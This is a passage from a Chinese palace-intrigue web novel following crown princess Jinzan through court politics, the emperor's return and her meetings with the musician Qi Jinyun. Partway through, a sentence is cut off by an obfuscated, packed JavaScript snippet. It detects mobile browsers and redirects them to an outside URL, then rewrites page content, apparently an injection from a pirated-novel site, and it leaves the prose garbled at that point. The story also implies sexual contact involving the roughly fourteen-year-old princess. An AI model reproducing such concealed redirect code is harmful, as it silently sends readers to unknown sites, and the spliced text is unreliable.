南叶拍了杜鹃一记,叮嘱道:“不可乱说。”又轻声道,“只怕比梵阆还糟糕。”她想起金簪眉眼间的情态,发现殿下日渐不同了。 舞凰殿内,莺歌“啊”得一声喊,摊在金簪的怀。 她揽着金簪的手臂,幽幽怨怪道:“殿下,你真是越来越坏了。但你真是个好学生。” “孤也不知道学这些做什么用。”金簪亲在莺歌的额头,揽紧了她的肩头。 她低低地笑道:“孤近来看了好几本春宫图谱。” “那些都是女子取悦男子之物。”莺歌撑着她起身,勾起金簪的下颚,嬉笑道,“然而,殿下是君,日后娶的皇夫要学会讨殿下的欢心。殿下知道这些,就不会沉溺男色了。” “难道沉溺你这女色?”金簪推开莺歌,捡起地上的衣衫。她自若地穿戴整齐,朝侧躺的美人蛇道,“孤允你一愿,什么都行。” “真的吗?果然啊,枕边风不论男女在事后都能奏效。”莺歌掩袖笑起来。 金簪面上难看,蹙眉道:“不要也罢。” 莺歌立马跳起来,扑抱住金簪的双腿,乐呵道:“我想听祁缙云吹一曲。” “祁缙云?”金簪俯身,看在出神的莺歌脸面,奇道,“他擅乐?” “他的箫声是京都最动人的乐声,而他也是世间难得的真情人。”莺歌回过神,期盼地仰看金簪,歪着头做可爱态,“若殿下了解他,会为他着迷的。” “荒谬。你此前教孤得又算什么?”金簪推开她,甩袖而去。 “无情的女人。那是殿下没有遇上真正入心动情的男子。若是那时,殿下所有的伪装、铠甲都将不攻自破,只为博他一笑。”莺歌落寞地看向琉璃镜中的容颜,低声道,“这样无趣的日子还要过多久啊。” ** “殿下,凌少保入宫了,说是西面传来了信。”南叶在出来的金簪耳边道。 “知道了。” 金簪双眸微利,先回后殿洗漱番,随后入殿见凌飞。 凌飞的精神不错,朝金簪躬身行礼。 金簪猜道:“凌大人的孙儿平安回来,孤心甚慰。” “多谢殿下记挂。此信乃是楚小将军遣孙儿一起带回。”凌飞将信递给南叶。 南叶展开后递给金簪。 金簪一目阅尽: 殿下,微臣幸不辱命。按殿下之意前往小韩家关,碰上返北石鸣春。石鸣春大义,带余下两千骑,以及粮草同臣一起前往寒雪关。 北戎人嗜血好战,驱狼为兵,确难相抗。但是,殿下给凌云的东西好用,假玺也召回楚家散落在外的五百兵士,重组护国军。 殿下,微臣出京任务有二。第一、石鸣春、冯萧将军已经镇守寒雪关,至来年应能保平安。第二、疯狗欲除我后快,遂而微臣去完成殿下交付的第二个任务,震慑北延。 谨此问安。 金簪一把拢住信笺,朝凌飞问道:“此前同楚甲子出京得是否还有一个叫季飞扬的少年侠客?他是凌大人府上的客卿之子?” 凌飞一愣,按理金簪不该知道此事,莫不是楚甲子在信中提了? 金簪知道此事是因为沈长清将那夜楚甲子入宫前去过西教坊一事打听出来。金簪猜到帮助楚甲子入宫得是一名叫季飞扬的少年。此人正是凌飞府上的人。 沈长清为了避嫌,没有告诉凌飞此事,而是直接汇报给金簪。 “是。此次微臣的孙儿离京,微臣遣了飞扬一路护送。此信正是他与微臣的孙儿一起带回京都。”凌飞躬身道。 金簪明白凌飞误会了。 她明着叹息道:“可惜了。若是楚甲子能够返京,京中形势定能有变。罢了,即使他返京也是入龙潭虎穴,京都容不下他。不日父皇将从东都回来……如今父皇对风子鸾又是何心态呢? 呵……孤想见这季飞扬。” 凌飞耳闻她话里的多重意思,竟有些摸不准这个十四多岁的太女心里的真意。 他起了不好的预感,迟疑道:“金宫森严,他无权无职在身,恐怕不易。” “说得对。孤若这样大喇喇见他,风子鸾第一个起疑。罢了,此事容孤再考虑下。为今诸事,迎父皇回都最大。”金簪挥退凌飞,独自在殿内徘徊。 晚间,金簪又去舞凰殿,见那莺歌妖女在地上打滚,无语道:“夏日将至,你这春情未免发得久了些。” “殿下又满足不了奴家。哼,隔靴搔痒,越勾越想要了。” 莺歌挪到金簪的足边,仰面道,“殿下食髄滋味,可是还想要?” “不想。你出去,这是孤练舞的地方。”金簪撇眸道,袖下的手微微拳紧。 莺歌不依,手沿着金簪的袍角往上爬。 她见金簪沉 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“宫廷画师。太仆寺那边的宫廷画师由祈正卿管……因他递了辞呈,许多画师也就顺势离京。孤有办法让你见到祈正卿了。”金簪莞尔一笑,又躺回莺歌的腿上。 莺歌闻言自是笑不可遏,越发卖力给金簪按摩。 “好殿下,真正是将奴家放在心上,奴家为你死了也甘愿。” “住口,不准提这个字。”金簪蹙紧眉宇,想起过世的梵阆。 “是是是……我这嘴啊就是不把门,管不住,该打。”莺歌说着该打,却亲在金簪的额头,惹得她睁眼,又嘻嘻地笑起来。 【逗着殿下玩儿,真是有趣啊,哈哈……】 殿外,南叶见高苗医女过来,急忙道:“高医女,请您帮忙劝着点殿下。她……” “她如何?”高苗紧张了下,直接脱鞋入了舞凰殿,在帘外请安。 金簪也不起身,直接道:“进来。” 高苗来请平安脉,瞧着莺歌在金簪的身上按揉,静立一会,缓缓道:“此法确实有助于女子姿体丰腴,但是不可多用。若殿下需要,可辅以食补。” 莺歌闻言,朝高苗眨眼,收回了手。 高苗近前跪下后给一脸复杂的金簪把脉。 金簪没有错过两人的互动,奇道:“你们认识不假,但是孤不知道你们会使眼色。” 言下之意是两人的关系这般好? “真是什么都瞒不过殿下。”莺歌打趣句,帮金簪将鬓发整齐,轻声道,“我在宫外就认识高医女。她是个好大夫。” 高苗把完脉,躬身道:“女子本阴,但殿下进来气血偏旺,须得放点血。” 金簪嗯了一声,将大拇指递给高苗。 莺歌在一旁嘻嘻地笑出声,得了金簪无波得一眼才住口。 高苗给金簪的指尖戳了口子,用干净的棉布吸掉沁出的血珠。 她边诊治边解释道:“微臣正式入太医寮所前已在民间给女子看诊。祖父知道微臣将来是殿下的御医,在家中学习时,祖父就命麽麽带微臣去东西教坊给女子看诊。她们的病多且杂,是个学习的好地方。” 金簪睁开眸,诧异地看着两人,带点惊讶道:“你不怕孤责罚你?” 高苗懂她的意思,莞尔道:“殿下对梵阆、莺歌司侍,不都毫无芥蒂么,又岂会因此责罚我?” 她用干净的布捂住金簪指尖的血口,待不流血才松开手。她轻声道:“殿下,近日可还觉得心火焦旺?” “好多了。不练轩辕心法就好很多。难怪他们都不让孤练,这功夫宜男不宜女。”金簪站起来,将仰面看来的莺歌也拉了起来,“孤还有事,你们聊会吧。” 她转身掀帘走了。 莺歌觑着高苗,主动将手递给她。 高苗诊治一会,蹙眉道:“近来你老动情吧,别带坏殿下。殿下虽有心火,但不宜此法。只烧不灭,更伤身体。” “照你的说法,这必须得是男人啊?说来殿下练的功夫怪得很,恁是要男人才能学?”莺歌抽回手,嫌弃地评价番轩辕枪术。 “轩辕枪/法刚猛,走两道极端,不是力就是巧。殿下偏就选择力。她能尽情跳舞,以舞姿柔婉的形态卸去体内多余阳力,在起初练轩辕心法时有作用。随时间推移,这种做法就不管用了。罢了,我与你说这些无用。 总之,你别再勾着殿下动情。外头多少双眼睛盯在这天机宫,若皇后知道你做的事,且看她是责罚殿下,还是棒杀你。”高苗说完,背上药囊离去。 莺歌哼了声,委屈地嘟囔道:“嘴硬心软的高医女。哎,男女间一有事,就责罚女子。我和殿下也没什么,偏要说我。这日子啊……什么时候是个头?” 她瘫软在席上,兀自打起滚来。 高苗在离开天机宫时遇上更名为梵阳的何丰。 梵阳拦道,诚恳且小心道:“高医女。请留步。请问,高医女有……医书吗?我……” 高苗听了他的请求,直接取出药囊里得一卷本草,无波无澜道:“近来祖父考较我,随身带了本草经。你若要其它医书,待来日我进宫请平安脉时再给你带来。” “多谢高医女。不过,奴……不怎么识字。”梵阳尴尬地看向高苗,等待她讥诮的笑容。 【龙阳道人养的人都是宠娈,无需出口成章、识文断字,只要会几句诗文能应景就行。】 高苗愣过后淡定道:“你一个字都不认识?” 【若是这样想学医可难了。】 “倒是在……道人那背过些经书,有河阳诗人编纂的《草堂诗斋》,其它还有《武侯史诗》……”梵阳一一将背过的书名念出来,小心地觑着高苗,希望她不要嫌弃。 高苗的心中有些惊讶,暗道:【草堂诗是风花雪月之首,武侯史诗可晦涩难懂了。】 她收敛表情,直接道:“你全会背?” 梵阳认真地点头,又迟疑道:“就是不太识字。” “行,我同杜鹃说一声,让她给你这两本书。你既会背就从这两书上认字,再来……看图识草。若是背不全、不认识字,可询问杜鹃、南叶……殿下身边的宫侍多少都识字。”高苗说完,心里松了口气。 【这人身世可怜,身体又是那样……但心智比外表看起来得坚韧。可在殿下面前跪两天的人啊……我可不想被缠上。】 梵阳见高苗点头后离去,朝她的背影躬身作揖。 他直起身,凝目在那纤巧的背影,拉扯唇角,笑了起来。 “真是个好人呢。连问都不问一声为什么。呵……” 23. 季氏 “恭迎陛下回宫。” 金簪立在朝臣之首,看向高堂金椅上目色深深的帝王。 【他瘦了很多,按梵阳的说法,父皇一直在服用金石散调理身体。那金石散并非好物。】 轩辕帝下首立得是久违的春官宗伯紫琴君,另一侧是风头无两的太宰风子鸾。 金簪觉得甚是好笑。 春官宗伯乃是五官之末,屈于六卿之下。 如今,紫琴君凭借轩辕姓氏登上帝前高台,这是给曾经被拘藏龙山数百年的轩辕子侄正名,亦或者在验证轩辕祖先将轩辕弟子驱逐山野的先见之明? 【除了西南的轩辕月辉,现在的紫琴君,在世轩辕氏都开始锋芒毕露。】 紫琴君本就有意前往东都,迎回圣驾,制衡风子鸾。恰逢凌飞来请,正合他意。 他带人前往东都,杀掉龙阳道人,请太医诊治帝王,才将药石不断的轩辕帝带回京都。 同行归来还有两岁有余的公主轩辕金香,以及皇子轩辕金骧。 金簪垂目大朝堂上的地砖花纹,纵横交错、首尾绕一大圈还能连着,也算是有趣极了。 【太宰风子鸾同母后、孤合作。那么,紫琴君呢?如此高位,应该另有选择吧。轩辕铁甲后裔,是选择正统,还是崇尚逆仙弟子的遗风?】 “陛下从东都回来,又携皇子,乃是天命所系。然则,臣等耳闻,民间在传:夏夔之后、犹有二帝。 此祸国妖言蛊惑人心,欲乱我大周朝纲。臣建议将皇子金骧沿先祖制,送往藏龙山,以平谣言。”太史大人出列道。 这句童谣说明什么? 说明夏夔帝死后,大周还有两任帝王才会气数全尽。而这两位帝王,难不成就是太女,以及皇子金骧吗? 刀锋跳舞,独木过崖,皆在此句背后。 “混账,谁传出这样不羁之言。来人,将他拖出去斩了。”轩辕夏震怒,一拍龙椅喊了辛无疚。 “陛下,忠言逆耳,古来有之。我大周按祖制确该……呜呜……”太史大人被虎贲军首领辛无疚一把堵住嘴,呜咽着拖出朝堂。 这些话岂是一心想要皇子上位的轩辕帝想听的?在他黑沉如铁的面色下,举朝噤声,乌压压跪了一地。 这也是轩辕帝的威严。 “太女。”轩辕帝的声音暗哑,沉声喊道。 “儿臣在。”金簪收敛思绪,跪首应道。 “你好大的胆子。”轩辕帝一捏龙椅,也看不清太女的表情,阴沉道,“来年十五登令楼约,可曾记得?”他试图看清太女的模样。然而,因金石散的作用,轩辕帝的眼睛起了白雾,看什么都不甚分明。 不过,他没有表现出来。他眯眸看向朦朦胧胧的朝臣,桀笑一声,“呵,朕等着你履约。” “儿臣记得,自当履约。”金簪瞧着眼下的地砖花纹,平静无波的应下 韩丹提醒轩辕夏:“陛下,朝臣都还都跪着呢。” 轩辕夏又候了几息,才喊众卿平身。 此风波过后,风子鸾出列,提起“征兵护国”一事,当堂提拔风子棋为风瑶步兵的副统领,又将西戎退关一事的功劳揽在身上,至于北延三府已是他口中不尊皇都号令的乱臣贼子。 轩辕帝为缓和刚才的场面,先赞许太宰守国有功,痛斥北延慕容涛,又将风子棋喊到近前。 他试图看清这风家新出头的少年,却瞧不清楚。他镇定得朝紫琴君道:“英雄出少年。紫琴叔父,你被比下去了。” 紫琴君颔首,自如笑道:“正是。风校尉乃是太宰亲弟,唇红齿白少年郎,真是一表人才。不知今年几何?” 风子棋本不高兴他的“唇红齿白”,遂而闷声闷气道:“十九了。” 轩辕夏听出这里面的意思,大笑了声,朝紫琴君道:“与太女十分相配。” “陛下,”太宰风子鸾趁机说和这门亲事,又听轩辕夏道。 “既如此,召开京都武试,以文武两考提拔武将,统领风瑶步兵。另外,太女年后十五,该择婿了。”轩辕帝一锤定音。 沈长清要出列,被金簪的眸色压回去。 太女一党静默不语。 大朝会散去后风子棋走到金簪的身边打趣:“你就是太女殿下?长得甚是标致。” 金簪撩他一眼,意味不明。 大概是哪里来的二愣子,风子鸾的弟弟就这脑子?多此一问。 然而,风子棋眨下眼,瞧着她傲气的神态,嘀咕句:“不过如此。不如京中贵女解风情。” 【但是,这是太女,比皇后还尊贵的女人,拥有轩辕姓氏血脉的女人。何况,她长得还不错。】 “呵……有趣。” 金簪还没踏入天机宫,被金凤宫来人招去内廷。 她连衣服都没换,又带人赶往金凤宫。 路途上,她猜测道:月舒、公主,丽妃、皇子,皆已回宫。这宫里又要热闹起来了。 安静许久的后宫,因为轩辕帝的回归又要开始闹腾。 同时,宫里在圣驾回京的前后两夜,死不少宫女和年轻的妃子。既是封口,也是互相清理探子。 金簪刚到金凤宫殿外,听皇后在殿内给韩丹下令。 轩辕皇后恩威并重道:“此次陛下离京,韩大宫一路陪驾,辛苦了。本宫瞧着,陛下今次只带回月女和丽妃,而太宰送去的人都不见回来。呵……这宫里的姐妹越发少了,冷情得很呀。本宫替陛下考虑,请韩大宫去太宗寺宣读凤诏吧。” 韩丹躬身道:“娘娘,请问凤诏的内容是?” 显然,皇后在诏韩丹前已准备妥当。 旁边的大宫女将凤诏递给韩丹。 轩辕皇后笑道:“按大周定制,宫中的妃嫔数量不足。擢遣士大夫三品以上者、家中适龄女子、十五以上者皆备选入宫,遴选宫妃。” 韩丹微动颈项,面色几无变化。 他躬身取过凤诏,应诺后垂首而去。出殿时,他撞见金簪,一眼落在太女身后的梵阳身上。他没有太大的惊讶,只垂首揖道:“奴见过太女殿下。” 金簪第一次发现韩丹是这么有趣的人,而这样的神色说明韩丹在回宫后得一日一夜已将宫内的消息掌握不少。 【韩丹的网……很大。】 “嗯。梵阳,见过韩丹大宫侍。”金簪淡然笑道。 梵阳上前给韩丹行礼。 韩丹连忙侧身,懂了金簪的用意,微笑着告辞而去。 “进来吧。”殿内的皇后耳闻外面三两声,喊道。 金簪入殿拜见,被轩辕皇后亲昵地搀扶起身。 “那样的阉人,你理他做什么?这种小鬼,用之防之即可,千万不可信之。” 轩辕皇后给金簪说道,一丝眼神都没给外面的梵阳和南叶等宫女,又道:“簪儿,母后听闻,今日你父皇差点给你指婚嫁人?” 金簪扯唇角,缓缓道:“皇女嫁人,太女娶夫,自古有之。” 【轩辕伯姬就是最好的先例。】 “你能明白就好。”轩辕皇后旋即道,“簪儿马上十五了,未通人事。这样吧……母后来给簪儿安排。” “母后欲如何安排?”金簪敛眸,平静地问道。 “自是找个干净又温柔的男子,决不能委屈了本宫的簪儿。待你通晓男女之事,就知道男人也不过如此,而你就不会被情爱迷了眼,忘了正事。 玉燕。”轩辕皇后喊道。 玉燕乃是轩辕皇后新提拔的大宫女,近前向金簪行礼。 “你随太女回去。太女年纪渐长,如今又入了朝,日后她身边的人会越来越多,你帮本宫和太女好好地甄别那些别有用心之人。” 轩辕皇后说到这,抚摸金簪的手背道,“别担心,母后一力为你办妥。至于后宫,母后定为你扫平阻碍。” 金簪抬眼瞅了轩辕皇后一眼,想要说“不必”,又将话压回肚。 【对于后宫诸人,她可曾会放弃杀心?】 五岁时,金簪提早下课到皇后宫里请安,循着宫女的说法,她亲眼看到轩辕皇后在旁人的宫殿毒杀宫妃。 她跑上去求道:“母后能放过她吗?” 轩辕皇后答:“她不死,死得就是你我母女。在这宫里,不是狩猎者就是猎物,决不能心慈手软。” 金簪想起过往,向皇后行礼,言道:“母后,如今内廷的虎贲军换了人。若是发生前年之事,父皇得知,未必是禁足了。” 轩辕皇后眯眸看着金簪,本要发怒却压了回去。她握住金簪的手,轻轻地揉捏着,试着温声道:“你长大了,有些事也该你来做决定。难道任由那两东西长大不成?” 金簪刚点了头,手上就被翠金的长指切进肉去。她的心顿时凉薄如纸,什么话都说不出口。 “母后,少傅还在等孤。若无事,孤先行离开。” “去吧。”轩辕皇后松开了她的手,任由太女行礼离去。 她看了眼甲套上的尖芒,再次盯在太女高挑的背影,阴沉了眸色。 【女儿大了越发不好管,如今倒是管到本宫的头上。罢了,确实到了知情识趣的年纪。这第一个男人既不能热络,也不能手生,更不能对太女不利……】 思来考去之下,轩辕皇后想到楚太师的府上。 “来人,宣召,楚老夫人入宫。” “是,娘娘。”宫女应声而去。 金簪带梵阳和南叶路过花园。 她停在居中的五只大花缸前,将手背上的伤口浸没在缸里,用水漂散手背上的血沫。 待南叶上前将她的手背擦干净,金簪已侧目道:“梵阳。” “在。”梵阳上前,躬身行礼。 一身内廷宫侍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059950|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青衣长服,束出一把纤细如花茎的腰肢。他整张脸,即使有道疤痕,在阳光下都是清秀小郎。 “你……要回陛下的身边吗?”金簪侧眸问道。 “若是殿下要奴回去,奴就回。”梵阳这般说。 “韩丹年纪大了,名下有不少干儿子,独缺一个贴心的。”金簪侧身,看向抬眸露讶的梵阳,在等他的下一步反应。 “梵阳明白了。”梵阳垂首应道。 金簪点头,转身离开这处曾救下梵阳的地方。 这夜,金簪听到禁军和虎贲军的动静,宫人在喊“捉刺客”。 她正要起身,南叶和杜鹃跑进殿来护在榻前。 金簪下床问道:“外头什么情况?” “刺客好像从乾明宫方向过来,也可能从六卿寮那边。禁军入了外宫,虎贲军往内廷去了。”南叶将得到的消息道出。 杜鹃跺脚道:“怎么没人来守着咱们天机宫?太过分了吧。陛下一回来,这些武人就捧高踩低。” 金簪敛眸,吩咐道:“你们就当没事,回自己住处待着。” “殿下?”杜鹃要问,被南叶拉了把衣角。 她好奇地看向南叶,被南叶给拉出殿外。 夜间,金簪一直坐在书房,似乎在等着什么发生一样,直至辛无疚带人进天机宫搜寻,她才姗姗起身。 金簪面上的神色说不上期待或失望,听了辛无疚几句话,任由他带人巡一遍天机宫内外。 “太女殿下,打扰了。此时已是三更天,请早些就寝。”辛无疚查不到刺客,告罪一声后愁眉不展地带人离去。 金簪瞧着无月无星的夜幕,挥退南叶等人,独自站在窗前。 她早已想到不久前沈长清说得那点无关紧要的消息:楚家丢失金宫的布局图。至于刺客入宫杀谁,似乎不言而喻。 “看来,孤有必要请宫廷画师入宫了。”她低声喃道。 然而,这个想法非常不好操作,尤其是近日宫里发生刺客行刺的事。 这让金宫的巡防严密了些。虎贲军指挥使、禁军统领在陛下的严令下满城搜查刺客。 而这个时间,满城都在传:陛下已经如此情状,怎么还遴选宫妃?倒不如给太女选皇太女夫、皇侍夫来得合适。 这京中就发生各种传言、投机之事。 凌飞府上的门槛都要被人踏破了,均是来打听太女的喜好,全被他拒之门外。 后院里,凌云将一把木剑使得颇有几分风采。 季闲瞧着赞了句:“出去一遭,懂事不少。” 季飞扬笑道:“那是当然。咱们小凌云瞧着乌压压的狼骑能镇定自若地估测凤凰连弩的射程,给石鸣春都瞧傻眼了。” “好苗子。”季闲说完,在季飞扬旁边轻声道,“如今满城风雨,切莫妄动。等我们的人进京,再行事不迟。” “他多活一日就要祸害京中多少美丽的女子。”季飞扬摘了一旁的树叶,含着叶柄,掀着唇齿,不羁道,“待那些人计划个周全出来,说不定慕容涛都南下了。” “如今李云起兵败南逃,被天师道教众收容。不比他的起义军,天师道教众收容男女老幼,集结民间众势,已近三十五万人。只待京都事成,教众蜂拥北上,一举推翻朝廷。” 季闲拍在季飞扬的肩头,郑重道,“别忘记你姓季,被轩辕氏诛灭全族的季氏。别被京都繁花迷了眼,忘记身负的血海深仇。” 季飞扬抬脸向阳,迎光笑道:“自然。义父教导,飞扬莫不敢忘。”他抖落季闲的手,上前夺过凌云手里的长剑,“笨老大,这剑这么使。” 凌云瞧着他出招,招招有劲风,好似在刺劈什么一样。 他避到一旁取出木凿刀开始削制木料。 “你这家伙,哥教你,你还不认真学?”季飞扬练习了一遍剑法,出了力气,心里就畅快了许多。 他近前夺过凌云手里的木刀,扬手摄入一旁的树身,扬下巴道,“今日不将这剑法学会了,不许摸木头。” 凌云眨巴眼睛,指向摄入树身的木凿刻刀,歪头道:“不如,你教我这功夫,比剑法那扭来扭去、跑来踢去的简单。” “……”季飞扬一把抚在额头,觑着认真的凌云,无语问苍天。 季闲走上前,摸在凌云的手骨,颔首道:“因你常年削木,指上力量很足。若是走暗器一道,确实不错。而且,你这个年纪,指骨比一般孩童修长。 飞扬,你将夫人……你母氏一道的摘花折叶手交给凌云。”他看入季飞扬的眼神,似在说:以此还凌氏的恩情吧。 季飞扬懂了他的意思,转身将树身上的木凿刀拔下来。他拿在手上翻转地颠着,屈身朝凌云道:“这也得吃苦。” 凌云咧嘴朝他笑,去夺木刀,被季飞扬躲了开去。 两人在院里绕着树玩跑起来。 24. 鼓舞 数日后,金簪在天机宫殿内见到意外的人。 彼时,莺歌眼巴巴地拉在殿门,打量殿里那道修长如竹的身影。她拍在满脸好奇的小宫女肩头,舔着唇口道:“瞧见没,这就是名动京都的祈大公子。凤箫声里听玉龙,梦里痴人顾盼。” 小宫女不解道:“这是何意?” “小丫头不懂。这是‘箫声思情’。他思他的妻子,旁人思慕于他。”莺歌叹惋般道,脸上露出久违的女儿家纯澈动人的情态。 这一瞬间,她好似回到在西教坊刚出名那会,灯火通明的画舫上,一名初露荷角的美丽女子耳闻动人的箫声,乘兴而舞的随性自由。 杜鹃提过几次祁缙云,宫女对此人不仅不陌生,还对他心生向往。 祁缙云至今一妻无妾,且妻子病重时为她卧冰降温,妻子过世时辞官入林守丧,至今快三年,也未曾传出续弦的说法。 这样的有情男子,哪个女子不对他心生好奇。 此刻,不少宫女宫侍蹲在殿外想要一睹祁缙云的风采。 金簪从舞凰殿出来,转来正殿。 她穿过众多探头探脑的宫女,一把拉住还在发痴的莺歌,将她一起带入正殿。 南叶瞧着这些吓了一跳的小宫女,低声道:“快去做事。” 小宫女们纷纷向入殿的金簪行礼,在南叶的眼神下糯糯喊道:“……南叶姑姑。” 南叶点了她们几下,由着她们四散而去,而她则候在殿外听吩咐。 长身玉立的祁缙云,着一身靛青布衣,手持一根翠色玉箫。两者看起来既和谐,又不是很搭。手持玉箫者,最差也得配丝帛儒衫吧。 他转身望向进殿的女子,垂首作揖。 金簪松开呐呐不敢言的莺歌,立于上首,面对祁缙云。 这人周身萦绕的气质,偏凉了,像是被常人无法承受的冷包裹住,倒与他手中的玉箫合适。 【这祁缙云可布衣白身,也可手握千金玉箫?】 金簪的眸光落在偷眼瞧祁缙云的莺歌身上,含笑间垂了眸。 【这妖女往日胆子大得很,今日见着人竟焉了,只敢偷瞧,连规矩都忘了。】 “祁大人,两年未见,别来无恙。” 金簪自是见过祁缙云的,只是当时她还没有现在“成熟全面”的观人法。 对于这位祈正卿的想法,她局限在:祈府太师的孙子,日后的助力。后来,祁缙云因妻子过世辞官,祈府无人入朝。她对祁缙云的印象是:淡薄名利,重情念顾之人。 “太女殿下。内子在时,承蒙殿下遣人送来参药,延续内子性命。祈某感激不尽。”祁缙云再次行大礼,真心感谢金簪。 祈府败落,祈老太师终日不上朝。 五官司士掌朝廷大员俸禄,给祈府发放俸禄一年两次,上半年得硬是拖延到年底。这时断时续的发法,几要断了祈家的活路。 这样的行为对于清贵家来讲等于断人衣食。至于司士寮拿本该每月发放的钱去做什么? 官营私贷,以此某得高利私用。 祁缙云被老祖母求着出山,正是祈老太师卧病在床,祈家已没主心骨。因着皇后一道旨,祈府能上得了台面就祁缙云一人,被老祖母推出来顶梁。 轩辕皇后话都出来,祈府却上交个鳏夫祁缙云。 她想着祁缙云擅乐,顺势有了用法。 “祈太师于孤有恩,正卿大人又将密藏借孤阅览。小小回礼,不值一提。”金簪做请,请祁缙云入座。 她朝莺歌道:“给祈正卿奉茶。” “啊……哦。”莺歌还没做过这种事,赶紧行了一礼,从南叶那边转手茶盏,放在祁缙云旁边的小几。 “祈公子,请用茶。” 祁缙云微微侧头,没有正眼瞧莺歌。他颔首道了声谢,又道:“于殿下是小礼,于我祈家却是大恩。” 【如今祖父病重,这些药啊……有得现在还用来吊命。呵……】 自金簪入殿以来,祁缙云只在拜见时觑过一眼太女。 此后再未细看,他自带一种君子守礼的古圣先贤般的礼法。 金簪的手摸在发痒的手背伤口,点了几下,问道:“今日祁大人突然来孤处,为了何事?” 得了莺歌瞪来得一眼,金簪撇眸道,“你先下去吧。” 莺歌暗跺了下脚,不情不愿地出了殿。 待无旁人,祁缙云惭色上容,直身垂目,道:“日前,祖母被凤诏入宫,说是请祈氏擅乐者教导殿下乐理。草民去见过皇后娘娘,得知殿下与陛下有十五登令楼之约。遂而,皇后娘娘请草民为殿下编纂一曲,供那日登楼使用。” 祁缙云见了皇后,得到是这些消息。 金簪心道巧了:【前脚莺歌要听曲,这人就顺风而来,还真是运道。】 她的巧思流转,以及想得更远,颔首道:“祁大人可要恢复太仆寺正卿的官位?” 祁缙云垂目落在侧几,抿唇后再次躬手:“殿下,家道中落,实不敢腆脸求官。草民……” 【大周官,退不易,进更难。如今大周宫中的官位,没有金箔,光是世家名声已经要不到了。】 金簪看他一副为难的样子,怎么也猜不到祈家现在的状态,以及司士寮那边卖官求金的现实。 她便道:“既是要帮孤编曲,待明日少傅、少保两位大人来时,你再过来。孤需要与他们一起商议后定夺。” 祁缙云微松口气,颔首道:“喏。殿下,草民先行告退。” “等等,”金簪的目光落在他手中的玉箫,想起答应莺歌的事,便道,“孤听莺歌司侍说祁大人的箫声动听,今日可有幸耳闻?” “自是愿为殿下吹奏。”祁缙云将手里的箫捏在指尖,朝金簪拱手后站于殿门处。他将玉箫横在唇边,暗吸口气后呜呜地吹奏起来。 箫声呜咽,极易动人。金簪一下子被带进一种潇湘烟雨的朦胧情态,好似有无数的心事满腹欲说,却只能寄托在这或长或短、或婉转或低徊的呜咽声中。 殿外,莺歌站在庭院树下,含笑看着那道被光照亮一角的男人。 她仰面阖目,听着声声箫情,好像午夜梦回到那个恣意谈笑的年岁。 夏夔一十八年,镜河画舫上,初听玉龙公子一曲潇湘,舞女在舫上扬袖起舞,自此入了痴梦。 那真是一段动人动情、却未逢面的美丽邂逅。彼时,他是陪在爱妻身边……的痴情公子。 此时,莺歌的脸上露出幸福的笑容,以及点点渴望的期待。 其余宫女、包括南叶,以及快步而来的杜鹃,许多宫侍都立在廊下、庭中,静静地凝听这满腹柔情的乐声。 一曲终了,祁缙云转身向金簪行礼。 【才情容貌,果然诱人。】金簪笑了下,明白莺歌那么想听他吹曲的原因。 “明日晨会后,孤在此殿等卿到来。” “喏。”祁缙云行礼后跨步而去。 莺歌立在道旁,躬身送他。她虽没有同祁缙云说上什么话,却觉得今日实在美哉。 翌日,沈长清和凌飞联袂而来。 通过两人,金簪知道祈家在京中的难处,对于司士寮以官银放贷一事也有了解。她反问两人:“此事何解?” “中官司士名唤——风满城,此人是风子鸾在朝中的钱袋子。”沈长清吐口气道,“若是动他,便是在拔风子鸾的须。” 凌飞点头,思所再三,心觉另一事更重要。他便道:“殿下,今日小朝还发生一件事。陛下欲赐大宗伯紫琴君,九锡之礼。不过,宗伯拒绝了,他言:太宰守都有功。谏言陛下,将九锡之礼赐给太宰。” 金簪的眸子瞪大了几许,诧异地站起来,震惊道:“风子鸾接了?” “接了。”凌飞点头。【这正是这件事的为难处。风子鸾的野心已昭然若揭。】 “九锡乃是功臣最高荣耀,九礼之中,份量最重得就是虎贲军权。”金簪按书上记载复述,随后蹙眉道,“父皇将部分虎贲军权给了风子鸾,等同于亲手把刀递给侩子手。这和等着疯狗将刀架在自己的脖子上有何分别? 辛无疚呢?” “辛指挥使一直忠于陛下,虎贲军虽有风子鸾的人,但大体还是偏向陛下。如今……暂不知他的意向。”凌飞解释道。 金簪急得来回走动两步,思虑间扯起唇角,意味不明。 【此前任由母后、风子鸾遣女子送往东都,如今这般又是在担心什么……轩辕金簪,身为大周的太女,你的对手、敌人究竟是谁?】 此时,南叶来告:“殿下,祈正卿来了。” 待祁缙云入殿,几方见礼。 沈长清非常欣赏祁缙云,言他有文士风骨。 他赞许道:“祁大人的箫曲名动京都,沈某曾有幸耳闻,惊为天人。如此箫声可给殿下来年之舞配乐?” 祁缙云入殿时稍许察觉了气氛不对。不过,沈长清的言辞缓和了场面。 在三人的注目下,他缓缓道:“殿下,草民的箫曲不适合登令楼舞。请殿下允我抚琴。” 金簪对于乐理一道不熟悉,转眸看向沈长清和凌飞。 对于登令楼一事,说事小,可算是她个人的私事,说大,也关乎着天机宫的颜面,算得上是国事。 凌飞为此事也烦扰过多日,颔首问道:“殿下,在登令楼上一舞,目的为何?” 金簪呵了声,自若道:“本以为不可能成行了。如今看来,终是避不了。孤也无需避开。” 她握了下有力的掌心,朝三人道,“孤要把这丢尽皇族脸面的行为,宣扬为瞻仰轩辕皇族力量的场地。 舞,武,乃力。” 祁缙云环顾凌飞和沈长清的神色,坊间传闻也略有耳闻,躬身道:“民间传言,殿下为救天下黎民,上祖地寻法,得来祈福祝舞之说。” 沈长清颔首道:“这是老师……孙太傅在离京前的安排。这个传言一直就有,但是声音不响。多得是……”在金簪的目光下,他硬头皮道,“陛下不喜皇后、太女,以此羞辱殿下,欲重立太子,轩辕金骧。” 金簪的目光垂落,无声地勾起唇角。 殿内落针可闻。 